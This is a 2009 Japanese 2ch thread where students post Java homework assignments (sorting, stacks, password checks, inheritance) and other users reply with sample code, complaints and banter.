236デフォルトの名無しさん:2009/03/05(木) 18:03:36
質問者の無知具合が笑えるww
237デフォルトの名無しさん:2009/03/05(木) 18:08:13
><APPLET>タグとか<EMBED>タグとか<OBJECT>タグとかをHTMLの
中で使っていない?

使ってないと思います。


>HTML中のJavaとのやりとりに関連する箇所と、クラスAの抜粋を
書いてくれると助かる。

まだソースは書いてのでのせられないです。すいません
238デフォルトの名無しさん:2009/03/05(木) 20:39:12
>>237
問題のHTMLの主要な部分をアップすることも出来ないの?
どうやってJavaScript中からJavaオブジェクトへのアクセスを実現
するのか分からないと本当に手の出しようがないです。
239デフォルトの名無しさん:2009/03/05(木) 23:33:46
【 課題 】 http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/611.txt
【 形態 】コマンドプロンプト
【 期限 】3月6日 11:59PM
【 Ver  】なし
【 補足 】英語の問題文なのですが何方かよろしくお願い致します。
240デフォルトの名無しさん:2009/03/06(金) 00:15:27
>>239
import java.io.*;
import java.util.Scanner;
public class Main{
  public static void main(String[]args){
    int cnt=0;int minus=0;int plus=0;int zero=0;
    try{
      Scanner sc = new Scanner(new File("input.txt"));
      while (sc.hasNextInt()) {
        int aInt = sc.nextInt();
        //System.out.println(aInt);
        if(aInt<0)minus++;
        if(aInt==0)zero++;
        if(aInt>0)plus++;
        cnt++;
      }
    }catch(Exception e){
      e.printStackTrace();
    }
    System.out.printf("number of integers less than zero\t%02d\n",minus);
    System.out.printf("number of integers equal to zero\t%02d\n",zero);
    System.out.printf("number of integers greater than zero\t%02d\n",plus);
    System.out.printf("total integers\t%02d\n",cnt);
  }
}
241デフォルトの名無しさん:2009/03/06(金) 23:13:06
【 課題 】 http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/614.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】3/8
【 Ver  】なし 《必須》
【 補足 】自分でやりましたがこんがらがってしまい依頼させていただきます。何卒よろしくお願いします
242241:2009/03/06(金) 23:15:22
補足です。241は2分木探索とポーランド記法です。詳しい方よろしくお願いします
243デフォルトの名無しさん:2009/03/06(金) 23:51:38
>>241

Office2007形式のWordファイルとかありえんだろ
244241:2009/03/07(土) 01:58:53
>>243
申し訳ありません。テキストで再アップしました。

ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/615.zip

どなたかよろしくお願いします。
245デフォルトの名無しさん:2009/03/07(土) 06:50:22
246デフォルトの名無しさん:2009/03/07(土) 15:17:32
>>245
ありがとうございました!!
247デフォルトの名無しさん:2009/03/10(火) 06:00:38
【 課題 】MySQLを使用した受注No.による検索
【 形態 】1. Javaアプリケーション(main()で開始)/3. Servlet(MySQL?)
【 GUI  】4. 制限なし
【 期限 】3月14日
【 Ver  】1.6.0_12
【 補足 】http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0032.zip
素人が作ったような最低限のソースで、表示されるようにしてほしいです。
詳しいことは、課題文テキストを読んでください。
classファイルを逆コンパイルしたものを添付したので参考にしてください。
かなり考えたのですが結局わかりませんでした。
丸投げで申し訳ないですが、よろしくお願いします。
248デフォルトの名無しさん:2009/03/11(水) 20:16:44
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/618.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】3月15日
【 Ver  】1.6.0_12  
【 補足 】よろしくお願いします
249デフォルトの名無しさん:2009/03/11(水) 21:48:20
>>248
サンプル完全無視で良ければ
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/619.java
250デフォルトの名無しさん:2009/03/11(水) 23:20:22
>>249
すみませんがそれじゃあダメっぽいです...
できれば説明どおりでお願いします.
251デフォルトの名無しさん:2009/03/12(木) 09:49:13
長い説明文とサンプルは、最初は読まなくて良いように、もしできるなら
テンプレートのJavaソースは、>>248 がコーディングしてみたら。
252デフォルトの名無しさん:2009/03/13(金) 14:21:42
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/620.zip
【 形態 】(main()で開始)
【 GUI  】制限なし
【 期限 】3/14
【 Ver  】1.6.0_12  
【 補足 】英語の課題です、よろしくお願いします  
253デフォルトの名無しさん:2009/03/13(金) 19:18:19
>>252
public boolean isValidPwd(String input)
{
if(input.length()<8)return false;
boolean conDigit=false;
boolean conLower=false;
boolean conUpper=false;
boolean conSpecial=false;
for(char c:input.toCharArray()){
if(!conDigit&&Character.isDigit(c))conDigit = true;
if(!conLower&&Character.isLowerCase(c))conLower = true;
if(!conUpper&&Character.isUpperCase(c))conUpper = true;
if(!conSpecial&&c=='~')conSpecial = true;
if(!conSpecial&&c=='!')conSpecial = true;
if(!conSpecial&&c=='@')conSpecial = true;
if(!conSpecial&&c=='#')conSpecial = true;
if(!conSpecial&&c=='$')conSpecial = true;
if(!conSpecial&&c=='%')conSpecial = true;
if(!conSpecial&&c=='&')conSpecial = true;
if(!conSpecial&&c=='^')conSpecial = true;
if(!conSpecial&&c=='*')conSpecial = true;

}
return conDigit&&conLower&&conUpper&&conSpecial;
}
254252:2009/03/13(金) 19:20:40

Scanner keyBoardで入力した文字列が8文字以上であり、
なおかつ、数字と小文字、大文字を一つずつ以上含む場合
trueの値を返し、間違っている場合はループさせろという問題です

>>入力した文字列が8文字以上は、
input lengthでstringの文字数をカウントしました

>>数字と小文字、大文字を各一つ以上含む場合
こちらの方がうまくいかなくて・・・

char[]  = toCharArray();
でstringをcharに変換し
boolean  Character.isUpperCase()
で大文字を含むか判定しようとしたのですが、エラーが

inputLine = keyboard.nextLine();
inputChar = inputLine.charAt(0);
でCharの方を最初に定義すればいいんでしょうか?

教科書を読んでみても、methodのあたりがいまいち理解できなくて・・・
日本語で初心者向けにJavaを解説しているサイトなどを教えていただけるとありがたいです
255252:2009/03/13(金) 19:22:12
>>253
回答ありがとうございます、早速試してみます
256デフォルトの名無しさん:2009/03/14(土) 10:08:06
Javaマニュアルとしてご覧ください。
http://www.yukinko-net.jp/JavaGuide/
257デフォルトの名無しさん:2009/03/14(土) 14:33:45
>>256
サイトの配色センスが終わってる気がするんだが…
具体的に言うなら、背景色はもっと薄い色にすべき。
こんな目の悪くなりそうなサイトじゃ内容以前に誰も来ないよ。
258デフォルトの名無しさん:2009/03/14(土) 23:41:44
ここまで見にくいサイトは久しぶりだ
259デフォルトの名無しさん:2009/03/21(土) 11:49:33
>>209【 課題 】さいころ http://pc11.2ch.net/test/read.cgi/tech/1235927586/435 さんのものを書き換え
import java.io.*;
public class MoneyGame { // public なクラス
public static void main(String[] args) { // ststic なメソッド
  ans209 s = new ans209();
  s.startGame();
} }
class ans209 { // public ではないクラス
void startGame() { // static ではないメソッド
  int i, j, targetMoney = 0, startMoney = 0, currentMoney;
  int totalGame = 5000, totalDice = 0, totalWin = 0;
  String buf;
  InputStreamReader in = new InputStreamReader(System.in);
  BufferedReader br = new BufferedReader(in);

  System.out.print("所持金を入力してください:");
  try { buf = br.readLine();} catch (IOException e) { return;};
  startMoney = Integer.parseInt(buf);
  System.out.print("目標額を入力してください:");
  try { buf = br.readLine();} catch (IOException e) { return;};
  targetMoney = Integer.parseInt(buf);
  for(i=0; i<totalGame; i++) {
    for(j=1, currentMoney = startMoney; ; j++) {
      if((int)(Math.random() * 6) % 2 == 0) currentMoney++;
      else currentMoney--;
      if(currentMoney == targetMoney) { totalWin++; break; }
      if(currentMoney == 0) break;
    }
    totalDice += j;
  }
  System.out.println("勝率"+(100.0 * totalWin / totalGame)+"% 平均回数"+ (totalDice / totalGame));
} }
260デフォルトの名無しさん:2009/03/23(月) 05:49:59
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/621.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】3/25
初心者です。ネットで調べたのですが、まだJOptionPane以外のimport.・・・を使うようなプログラムまで進んでいないため、参考になるプログラムが見つかりませんでした。
よろしくお願いいたします。
261デフォルトの名無しさん:2009/03/23(月) 10:40:50
262デフォルトの名無しさん:2009/03/23(月) 10:42:56
>>260 開いたらSwingじゃない!だろう。
class Hari { // 針クラス
  public boolean keta;
  public void susume(){
    if(toki == 0)
      keta = false;
    toki++;
    if(toki == max){
      toki = 0;
      keta = true;
    }
  }
}
class Clock { // 時計クラス
  public void start(){
    try{
      Thread.sleep(1000);
      byo.susume();
      // 時分秒それぞれの桁上がり
      if(byo.keta) {
        fun.susume();
        if(fun.keta)
          ji.susume();
      }
    }catch(Exception e){};
  }
}
263260:2009/03/24(火) 04:36:08
261様、262様、ありがとうございました。
264デフォルトの名無しさん:2009/03/25(水) 01:54:59
【 課題 】
30個のデータが格納されたint型配列をソートするプログラムを作成しなさい。
ただし、ヒープソートを使うこと。
※補足 データは任意とする。

【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】平成21年3月28日(土) 午前7時まで
【 Ver  】1.6.0_11

お手上げですのでお手数ですがどなたかよろしくお願い致しますm(_ _)m
265デフォルトの名無しさん:2009/03/25(水) 07:08:57
>>264 降順が必要ならsortメソッド中の配列の値の比較をしている不等号を全部逆向きにする。
public class HeapSort {
public static void main(String[] args) {
int[] data = new int[30];
for (int i = 0; i < data.length; i++) data[i] = (int)(Math.random() * 100) + 1;
System.out.println("before: " + java.util.Arrays.toString(data));
sort(data);
System.out.println("after : " + java.util.Arrays.toString(data));
}
private static void sort(int[] a) {
for (int i = 1; i < a.length; i++) {
int j = i, b = a[j];
while (j > 0 && a[(j - 1) / 2] < b) {
a[j] = a[(j - 1) / 2]; j = (j - 1) / 2;
}
a[j] = b;
}
for (int i = a.length; i-- > 0;) {
int j = 0, b = a[i]; a[i] = a[0];
while (true) {
int k = j * 2 + 1;
if (k >= i) break;
if (k + 1 < i && a[k] < a[k + 1]) k++;
if (a[k] <= b) break;
a[j] = a[k]; j = k;
}
a[j] = b;
}
}
}
266デフォルトの名無しさん:2009/03/30(月) 23:20:56
【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/624.txt
【 形態 】コマンドプロンプト
【 期限 】4月1日 9:00AM
【 Ver  】なし
【 補足 】英語の問題文ですが何方かよろしくお願い致します。
267デフォルトの名無しさん:2009/03/31(火) 00:15:12
>>266
getVolumeってなんだよ
268デフォルトの名無しさん:2009/03/31(火) 02:34:06
public class MyCodeMate {
  public static void main(String[] args) {
    Box b = new Box(1,2,3);
    System.out.println(b.toString());
    System.out.println(b.getVolume());
    b.setHeight(1.1); b.setWidth(2.2); b.setDepth(3.3); b.setFull(true);
    System.out.print(b.getHeight()+"*"+b.getWidth()+"*"+b.getDepth());
    System.out.printf("=%.4f (%b)\n",b.getVolume(), b.getFull());
  }
}
class Box {
  private boolean full;
  private double height;
  private double width;
  private double depth;

  public Box(double h, double w, double d) {
    height = h; width = w; depth = d; full = false;}
  public double getHeight() { return height; }
  public void setHeight(double h) { height = h; }
  public double getWidth() { return width; }
  public void setWidth(double w) { width = w; }
  public double getDepth() { return depth; }
  public void setDepth(double d) { depth = d; }
  public boolean getFull() { return full; }
  public void setFull(boolean f) { full = f; }
  public double getVolume() { return height*width*depth; }
  public String toString() {
    return "H:"+height+" W:"+width+" D:"+depth+" ("+full+")";
  }
}
269デフォルトの名無しさん:2009/04/02(木) 05:46:13
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/625.zip
【 形態 】(main()で開始)
【 GUI  】制限なし
【 期限 】4/4
【 Ver  】1.6.0_12  
【 補足 】英語の課題です、何卒よろしくお願いします
270デフォルトの名無しさん:2009/04/02(木) 16:39:06
【 課題 】Stack ADT 、array 、linked list の実装
http://hp3.blog42.fc2.com/
閲覧パスワード: java
【 形態 】1. Javaアプリケーション(main()で開始)
         Eclipse
【 GUI  】4. 制限なし
【 期限 】 締切日        Apr.08 : 03:00 am 日本時間 
       ドラフト解答希望日 Apr.03 : 03:00 am 日本時間
       1)(必須)ArrayStack.java  途中でもいいです。Main Interfaceとつながっていれば
       2)(必須)クラスディスカッション用の質問(ネタ)
        ‐ソースの中のポイントとなる箇所と、なぜそうしたかなど。
         普通のコメントのような説明でいいです。
        ‐Writeup Questions の答えでわかるところがあれば。  
       3.(できれば)Eclipseでテスト可能なドライバの作成
         わかればお願いします。こうすればよい、的なのでもいいです。
【 Ver  】java version "1.6.0_13"
【 補足 】丸投げです。急で申し訳ないのですが不完全でいいのでお願いします。
データ構造クラスの宿題です。ライブラリを使用します。
ファイルをアップロードする方法がなかったので、
宿題で提供される2つのクラスを貼り付けます。
DStack.java
Reverse.java(main)
bot.wav, bot.dat.の二つのファイルも提供されたのですが、
必要であれば、アップロードする場所教えていただければ
そこにアップロードします。
271デフォルトの名無しさん:2009/04/02(木) 16:40:57
DStack.java
/**
* Interface for a stack of primitive doubles.
* @version CSE326 Sp09
*
* NOTE: The comments for this interface are horrible! You will
* need to write something better for your implementations.
*/
interface DStack {
/**
* is empty?
*/
boolean isEmpty();
/**
* push
*/
void push(double d);
/**
* pop
* @return the deleted value
* @throws EmptyStackException if stack is empty
*/
double pop();
/**
* peek
* @throws EmptyStackException if stack is empty
*/
double peek();
}
272デフォルトの名無しさん:2009/04/02(木) 16:49:35
Reverse.java
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.StringTokenizer;
/**
* Read a .dat file and reverse it.
* @version CSE326, Wi09
*/
public class Reverse {
public static void main(String[]args) {
if (args.length != 3) {
System.err.println(" Incorrect number of arguments");
System.err.println(" Usage: ");
System.err.
println("\tjava Reverse <stack type> <input file> <output file>");
System.exit(1);
}
boolean useList = true;
if (args[0].compareTo("list")==0)
useList = true;
else if (args[0].compareTo("array")==0)
useList = false;
else {
System.err.println("\tSaw "+args[0]+" instead of list or array as first argument");
System.exit(1);
}
273デフォルトの名無しさん:2009/04/02(木) 16:51:55
Reverse.java(2)行数オーバーしたので...
try {
//
// Set up the input file to be read, and the output file to be written
//
BufferedReader fileIn =
new BufferedReader(new FileReader(args[1]));
PrintWriter fileOut =
new PrintWriter(new
BufferedWriter(new FileWriter(args[2])));

//
// Read the first line of the .dat file. We want to store the
// "sample rate" in a variable, but we can ignore the rest
// of the line. We step through the first line one token (word)
// at a time using the StringTokenizer. The fourth token
// is the one we want (the sample rate).
//
StringTokenizer str;
String oneLine;
int sampleRate;
String strJunk;

oneLine = fileIn.readLine();

str = new StringTokenizer(oneLine);
strJunk = str.nextToken(); // Read in semicolon
strJunk = str.nextToken(); // Read in "Sample"
strJunk = str.nextToken(); // Read in "Rate"
sampleRate = Integer.parseInt(str.nextToken()); // Read in sample rate
274デフォルトの名無しさん:2009/04/02(木) 16:53:03
Reverse.java(3)行数オーバーしたので...

//
// Read in the file and place values from the second column
// in the stack. The first column values are thrown away.
// We stop reading if we reach the end of the file.
//

DStack s;
if (useList)
s = new ListStack();
else
s = new ArrayStack();
String timestep;
double data;

int count = 0;
while ((oneLine = fileIn.readLine()) != null) {
if (oneLine.charAt(0) == ';') {
continue;
}
str = new StringTokenizer(oneLine);
timestep = str.nextToken(); // Read in time step value from first column
data = Double.parseDouble(str.nextToken()); // Read in data value from second column
s.push(data);
count++;
}

System.out.println(count+" samples in file");
275デフォルトの名無しさん:2009/04/02(木) 16:54:54
Reverse.java(4)行数オーバーしたので...
//
// Now we are ready to output the data values to output file.
// But first, we need to output the header line
// "; Sample Rate <sample rate>"
//
fileOut.println("; Sample Rate " + sampleRate);

// Since the first column consists of numbers which start
// at 0 and increase by 1/sampleRate every time slice, we'll
// just use numSteps to recalculate these numbers.
int numSteps = 0;

// Finally, we print the values in reverse order (by popping
// them off the stack). The first column consists of numbers
// which start at 0 and increase by 1/sampleRate per row, so
// we'll use numSteps/sampleRate to recalculate the appropriate
// values. Uniform spacing will be accomplished by printing a tab.

while (!s.isEmpty()) {
fileOut.println((double) numSteps / sampleRate + "\t" +
s.peek());
s.pop();
numSteps++;
}
276デフォルトの名無しさん:2009/04/02(木) 16:55:39
Reverse.java(5)最後です
//
// Close the files
//
fileIn.close();
fileOut.close();

} catch(IOException ioe) {
System.err.
println
("Error opening/reading/writing input or output file.");
System.exit(1);
} catch(NumberFormatException nfe) {
System.err.println(nfe.toString());
System.err.println("Error in file format");
System.exit(1);
}
}
}
277デフォルトの名無しさん:2009/04/02(木) 17:02:32
>>1も読めない馬鹿は氏ね
278デフォルトの名無しさん:2009/04/02(木) 17:55:27
>>270です
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/628.txt
【 形態 】1. Javaアプリケーション(main()で開始) Eclipse
【 GUI  】4. 制限なし
【 期限 】 締切日        Apr.08 : 03:00 am 日本時間 
       ドラフト解答希望日 Apr.03 : 03:00 am 日本時間
       1)(必須)ArrayStack.java  途中でもいいです。Main Interfaceとつながっていれば
       2)(必須)クラスディスカッション用の質問(ネタ)
        ‐ソースの中のポイントとなる箇所と、なぜそうしたかなど。
         普通のコメントのような説明でいいです。
        ‐Writeup Questions の答えでわかるところがあれば。  
       3)(できれば)Eclipseでテスト可能なドライバの作成
         わかればお願いします。こうすればよい、的なのでもいいです。
【 Ver  】java version "1.6.0_13"
【 補足 】提供されたjavaファイル
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/627.zip
提供されたサウンドファイル bot.wav, bot.dat. (不要かもしれませんが)
http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0033.zip
ルールを読まずに上げてしまいました。申し訳ありません。
丸投げです。急で申し訳ないのですがドラフトは
不完全でいいのでお願いします。pcに問題が起きて環境設定から
しなおしている状態です。
データ構造クラスの宿題です。ライブラリを使用します。
279デフォルトの名無しさん:2009/04/02(木) 18:17:46
>>278
環境なんて一、二時間で構築できるだろうよ。つまらん言い訳書くなよ。
280デフォルトの名無しさん:2009/04/02(木) 18:38:16
初心者なので何かと時間がかかり、焦っております。すみません。
281デフォルトの名無しさん:2009/04/02(木) 19:09:34
>>278です。 3)については勘違いなので、忘れてください。度々すみません。
3)(できれば)Eclipseでテスト可能なドライバの作成
         わかればお願いします。こうすればよい、的なのでもいいです。
282E- : sage:2009/04/02(木) 22:19:33
>>269 Four basic shapes are allowed: box, right triangle, isosceles triangle, and a diamond.
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/629.java
283269:2009/04/03(金) 08:31:31
>>282
詳しい解説まで付けていただき、本当にありがとうございました
284デフォルトの名無しさん:2009/04/03(金) 15:44:05
>>278
せめて文字化けしない貼り方しないと、表紙がないレポートと同じ。
285デフォルトの名無しさん:2009/04/03(金) 18:25:40
>>278 です。度々の不手際ですみません。
課題の内容事態を誤解していた
締め切りの日本時間の計算が間違っていた
ので、>>278の課題は取り下げます。
新しく課題の内容をアップしました。
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/631.txt
The Assignment 以下
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】 締切日        Apr.07 : 03:00 pm 日本時間 
【 Ver  】java version "1.6.0_13"
【 補足 】英語の課題です
提供されたjavaファイル
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/627.zip
提供されたサウンドファイル bot.wav, bot.dat(入力ファイル)
http://www51.tok2.com/home/rg550/cgi-bin/hosoku/img0033.zip
データ構造クラスの宿題です。Javaクラスライブラリは使用しないこと。
考えてみたら、当然かもしれません。誤解してました。
自分でも今考えていますが、よろしくお願いします。
286デフォルトの名無しさん:2009/04/03(金) 18:43:20
>>285
>Writeup Questions
>4. Did you use any classes from the Java framework or other class library?
> (Remember, as stated in the programming guidelines, if the answer to this question is anything other than "no",
>you may get a low score on this project if you use the library to implement your stacks!)
>(Addendum: it's OK to use java.util.EmptyStackException!)
287デフォルトの名無しさん:2009/04/05(日) 16:48:39
Javaの宿題の質問なのですが、一部分のみ聞きたいためテンプレは省略させて下さい。

int a;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
a = br.readLine();

この記述でaにキーボードから数値を入力させたいのですが、readLine()だとString型からint型には変更できません。
というエラーが出てしまいます。
当然なのですが、数値の場合はどういう記述にすればいいのか分かりません。
回答宜しくお願いします。
288287:2009/04/05(日) 17:36:08
>>287です。
自己解決しました。
失礼しました。
289デフォルトの名無しさん:2009/04/05(日) 22:59:05
>>288
自己解決したならしたで、その解決法くらい書いてくのがこういう質問系スレでのマナーだと思うぜ?
290デフォルトの名無しさん:2009/04/06(月) 01:57:18
宿題スレに宿題を投げるような人間が過去レスにある他人の宿題とその回答を気にしたり検索したりしそうにないし、
質問内容自体が解決法を書いておくことを求めるほどのものじゃないし、
自己解決時のフォローは不要じゃないか?
質問から時間も経っていないから「宿題を依頼したけどやっぱり自分でできました」「あ、そう。よかったね」程度の話。
>>287
宿題を自分で解く時に部分的に疑問点があってそれを質問したいだけなら質問スレで質問した方がいいと思う。
もし、宿題なら宿題スレへ行け等言われるのが嫌なら馬鹿正直に宿題という言葉を使う必要はないし、
質問スレで宿題の大部分を投げようとかならともかく、
自分で解くためのちょっとした質問なら宿題だからといって邪険には扱われないと思われ。
291デフォルトの名無しさん:2009/04/06(月) 09:35:36
【 課題 】abstractを取り扱うコード
【 形態 】Javaアプリケーション(main()で開始)
【 期限 】今日
【 Ver  】6.0_12
【 補足 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/633.zip
英語での課題です。inheritanceを使う簡単な宿題です。
詳しいことは、課題文テキストを読んでください。英語で読みにくいかも知れませんが、
どうかよろしくお願いいたします。
自分はだめでしたので、皆さんのお助けが必要です。
丸投げで申し訳ないですが、よろしくお願いします。
292デフォルトの名無しさん:2009/04/06(月) 11:11:09
>>291 .ZIPがだめ、.LZHで圧縮し直してくれ。
293デフォルトの名無しさん:2009/04/06(月) 12:54:09
291です。
別々にしてうpしました。
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/635.txt
ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/636.java
どうかよろしくお願いします。
294デフォルトの名無しさん:2009/04/06(月) 14:27:49
簡単な宿題って自分で評価してるくらいなんだから自分で解けるだろww
英文問題とか常にageるとかここ最近のは同一人物か
カリキュラム終るまで宿題全部頼み続ける予定?
295デフォルトの名無しさん:2009/04/06(月) 14:39:25
291です。
age続けて申し訳ありませんでした。締め切り今日まででしたのでイライラしてたのです。
このスレの利用は今回で初めてす。自分は今JAVAの入門レベルのクラスを取っているので
皆さんにとってはとても簡単だと思ってたいたのです。
今本当にピンチなのです、どなたか手を貸していただけますと大変感激です。
296デフォルトの名無しさん:2009/04/06(月) 14:41:11
>>291
あきた
297デフォルトの名無しさん:2009/04/06(月) 16:42:40
291です。
自己解決しました。
298デフォルトの名無しさん:2009/04/06(月) 16:54:18
>>297
それは良かった
299デフォルトの名無しさん:2009/04/06(月) 17:21:50
291です。297は自分ではありません。
300デフォルトの名無しさん:2009/04/06(月) 17:29:29
>>299
それは良かった
301デフォルトの名無しさん:2009/04/06(月) 21:55:23
いくら?
JAVA歴二日の俺がやったげるよ
302デフォルトの名無しさん:2009/04/07(火) 11:47:16
>>291 無いよりは、ましだろう程度。
public class Excise {
  public static void main(String[] args) {
    Fozzles f = new Fozzles();
    Slorts s = new Slorts();
    Blarfs b = new Blarfs();
  }
}
class Fozzles extends Part {
  void addInventory(float num){ item += num;}
  void removeInventory(float num){ item -= num; }
}
class Slorts extends Part {
  void addInventory(float num){ item += (int)num;}
  void removeInventory(float num){ item -= (int)num;}
  void transferFrom(int from){ removeInventory(from); }
}
class Blarfs extends Part {
  void addInventory(float num){ item += (int)num;}
  void removeInventory(float num){ item -= (int)num;}
  void transferFrom(int from){ removeInventory(from); }
}
abstract class Part {
  protected float item;
  Part(){ item = 0; }
  abstract void addInventory(float num);
  abstract void removeInventory(float num);
      float getInventory(){ return item; }
      void transferFrom(int from){}
      void printInventory(){ System.out.println(item); }
}
303デフォルトの名無しさん:2009/04/08(水) 23:19:43
外部コマンド(rm)実行について質問です。
下記(1)(2)はどちらも削除確認なしでtest.txtが削除されます。
execメソッドを使うと-fがあってもなくても強制削除になるのでしょうか。

(1)rmをオプション指定なしで実行
String command1 = "rm test.txt";
Process process = Runtime.getRuntime().exec(command);

(2)rmを-fオプションで実行
String command2 = "rm -f test.txt";
Process process = Runtime.getRuntime().exec(command);
304デフォルトの名無しさん:2009/04/08(水) 23:21:03
>>303です
すいません。投稿するスレッドを間違えました。
別の質問スレできいてきます。
305デフォルトの名無しさん:2009/04/13(月) 23:26:52
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/637.txt
【 形態 】NetBeans 5.5
【 期限 】4月14日 11:00AM
【 補足 】問題文の2行目にあるリンクは完成図です。
      NetBeansというソフトで作成するよう指示されました。
      お手数かと思いますが何方かよろしくお願い致します。
306デフォルトの名無しさん:2009/04/14(火) 14:52:36
よく知らないけど Swing でもいいの?
307sage:2009/04/14(火) 18:15:35
英語は嫌いだ
308デフォルトの名無しさん:2009/04/14(火) 18:53:11
NetBeansを使ったことが無い
309デフォルトの名無しさん:2009/04/14(火) 22:22:59
>>305です。
期限過ぎてしまっていますがどうぞよろしく願いします。

>>306
Swingとはどういったものなのでしょうか?
JAVAを始めて数ヶ月という初心者なので教えていただければ幸いです。
もしNetBeansを使っていれば大丈夫かとは思うのですが。
お手数ですがお願いします。
310デフォルトの名無しさん:2009/04/14(火) 22:39:27
>>309
期限を過ぎているんだから再依頼したいなら、
新しい期限を切り、テンプレをきちんと読んで必須項目を全部埋めたものを示せ。
311デフォルトの名無しさん:2009/04/14(火) 22:46:15
自分が解くべき課題にimport javax.「swing」.JFrame;とか書かれていても気にならないのな
JLabelとかJButtonとか意味も何も分かってないんだろうな
312デフォルトの名無しさん:2009/04/14(火) 22:51:23
Javaを始めて数分で脱落して以来数ヶ月経った初心者ってこと?
313デフォルトの名無しさん:2009/04/14(火) 23:25:00
にぽんごでおk
314デフォルトの名無しさん:2009/04/15(水) 01:34:34
>>310
確かにその通りですね。失礼しました。
315デフォルトの名無しさん:2009/04/15(水) 01:44:47
【 課題 】ttp://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/637.txt
【 形態 】NetBeans
【 GUI  】2. Swing
【 期限 】4月15日 10:00AM
【 Ver  】1.6.0_05-b13
【 補足 】>>305の再依頼です。
NetBeansでの作成でお願いします。
      
316デフォルトの名無しさん:2009/04/15(水) 03:18:15
317デフォルトの名無しさん:2009/04/15(水) 08:10:00
>>316
本当にありがとうございました。
318デフォルトの名無しさん:2009/04/15(水) 11:34:49
【 課題 】http://www.dotup.org/uploda/www.dotup.org8576.pdf.html
【 形態 】1.java application
【 GUI  】2.Swing
【 期限 】4月24日 4:00PM
【 Ver  】1.6.0_12
【 補足 】前の方に続いて英語で申し訳ありません。

課題を簡単に説明させてもらうと、
-ランダムに出される5つの四択問題にユーザーが答えて結果を競う
-2人入ると自動的に始まる(最大6人)。
-途中で入ってきたユーザーは傍観モードに入る。
-結果は正答率で競い、同じ正答率なら答えた時間で競う。
-サーバーとクライアントのプログラムを作る。

このようになっております。
よろしくお願いします。
319デフォルトの名無しさん:2009/04/15(水) 11:53:42
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/639.txt

申し訳ないです、課題はこちらになります。
320デフォルトの名無しさん:2009/04/16(木) 16:54:32
【 課題 】ttp://www.age2.tv/rd05/src/up4746.txt.html
【 形態 】1. Javaアプリケーション
【 GUI  】4. 制限なし
【 期限 】4/20
【 Ver  】java version "1.6.0_13"
【 補足 】恥ずかしながら丸投げです。
       お願いします。
321デフォルトの名無しさん:2009/04/16(木) 22:15:50
【 課題 】1、for分を用い、13から100までの数字でちょうど13で割り切れるものすべて
      配列に格納して配列の内容を降順に表示しなさい 
      2、100〜0まで大きい順に5で割り切れかつ7で割り切れる数を求めて表示し
      さらにその乗算を表示してください
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】4月17日
【 Ver  】1.6.0_11
【 補足 】お手数ですがどうかよろしくお願いします。
322321:2009/04/16(木) 22:18:03
for分 → for文の間違いです、すいません。
323デフォルトの名無しさん:2009/04/16(木) 22:29:56
fizzbazzを人任せにするとかどれだけ低能なんだよ……
324デフォルトの名無しさん:2009/04/16(木) 23:13:31
>>321
おいおい…こんなもん人に聞くな。
今日はすこぶる機嫌が悪いから、あえて、
間違った解答例を出してやる。それを見て、汝も怒りを感じ、
まともなコードに直すガッツを得るのだ。

1. 13から100までの数字でちょうど13で割り切れるものすべて
 配列に格納してfor文を用いて降順に表示するぞ
int[] a = { 91, 78, 65, 52, 39, 26, 13 };
for (int i = 0; i < a.length; i++)
System.out.println(a[i]);

2. 100〜0まで大きい順に5で割り切れかつ7で割り切れる数を求めて表示し
 さらにその乗算を表示
System.out.println(70);
System.out.println(35);
System.out.println(0):
System.out.println(70*35*0);
325デフォルトの名無しさん:2009/04/17(金) 01:31:46
>>321
public class ex67_321 {
public static void main(String[] args) {
  int i, kosuu;
  int[] kekka = new int[10];

  System.out.print("1、");
  System.out.println("13から100までの数字でちょうど13で割り切れるものすべてを降順に表示");
  for (kosuu=1; (kosuu*13)<=100; kosuu++) // 13の倍数を、昇順に100まで配列に格納
    kekka[kosuu] = kosuu*13;
  for (i=1; i<kosuu; i++) // 配列の内容を全て表示
    System.out.print(kekka[i]+" ");
  System.out.println();

  System.out.print("2、");
  System.out.println("100〜0まで大きい順に5で割り切れかつ7で割り切れる数を求めて表示");
  System.out.println("さらにその乗算を表示");
  for (kosuu=0; (kosuu*5*7)<=100; kosuu++) // 35の倍数を、100から0まで表示
    kekka[kosuu] = kosuu*5*7;
  for (i=kosuu-1; i>=0; i--)
    System.out.println(kekka[i]+" = "+i+"*5*7");
} }
326デフォルトの名無しさん:2009/04/17(金) 10:05:13
ぱねぇw
327デフォルトの名無しさん:2009/04/17(金) 21:02:02
